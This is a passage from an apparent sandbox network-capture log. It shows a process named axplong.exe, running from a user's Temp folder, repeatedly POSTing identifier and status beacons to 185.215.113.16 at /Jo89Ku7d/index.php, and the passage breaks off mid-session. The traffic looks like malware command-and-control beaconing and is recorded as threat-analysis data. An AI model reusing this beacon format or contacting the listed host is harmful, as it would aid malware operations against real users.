Sep 27, 2024 11:30:56.798801899 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:57.027661085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	65110	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:57.140134096 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:57.875601053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:57.876549959 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:58.112724066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	65111	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:58.231508017 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:58.930130959 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:58.931102037 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:59.155163050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	65113	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:59.262922049 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:59.971185923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:59.972007036 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:00.200732946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	65114	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:00.310723066 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:01.000776052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:31:01.001719952 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:01.223706961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	65115	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:01.343229055 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:02.053611040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:31:02.054727077 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:02.285742998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	65116	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:02.586646080 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:03.309027910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:31:03.311400890 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:03.538702011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	65117	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:03.655917883 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:04.352302074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:31:04.355447054 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:04.577923059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	65118	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:04.687051058 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:05.394244909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:31:05.397620916 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:05.629041910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	65119	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:05.772352934 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:06.447398901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	65120	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:06.457762003 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:07.161418915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	65121	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:07.284039021 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:08.019320965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	65122	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:08.029510975 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:08.733987093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	65123	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:08.862838984 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:09.565476894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	65124	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:09.588495970 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:10.306952953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	65125	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:10.424969912 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:11.116766930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	65126	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
